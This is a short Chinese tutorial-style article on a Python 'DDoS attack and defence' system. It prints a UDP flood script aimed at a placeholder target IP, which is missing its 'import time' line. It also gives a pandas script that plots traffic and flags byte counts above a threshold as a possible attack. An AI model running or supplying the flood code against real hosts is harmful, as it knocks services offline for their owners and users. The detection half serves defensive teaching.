Python实现的DDoS攻击和防御的数据可视化和分析系统

2023-04-17 00:00:00 攻击可视化防御

该系统包括两个主要模块：攻击模块和防御模块。

攻击模块使用Python编写，可对指定目标发起DDoS攻击。代码示例：

import socket
import random

target_ip = "目标IP"
target_port = 80
duration = 10
timeout = time.time() + duration

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bytes = random._urandom(1024)

while True:
    if (time.time() > timeout):
        break
    sock.sendto(bytes, (target_ip,target_port))

防御模块使用Python和Pandas库进行数据可视化和分析，以实时监控网络流量并检测可能的攻击。代码示例：

import pandas as pd
import matplotlib.pyplot as plt

# 读入流量数据并转换为DataFrame格式
data = pd.read_csv("network_traffic.csv")
df = pd.DataFrame(data=data)

# 绘制流量随时间的变化图
plt.plot(df['Time'], df['Bytes'])
plt.xlabel('Time')
plt.ylabel('Bytes')
plt.title('Network Traffic')
plt.show()

# 检测是否存在异常流量
threshold = 1000000
abnormal = df[df['Bytes']>threshold]
if len(abnormal) > 0:
    print("Possible DDoS attack detected!")

以上代码演示了如何使用Python和Pandas库实现数据可视化和分析，以检测可能的DDoS攻击。在实际应用中，需要根据具体情况进一步优化和扩展系统功能。

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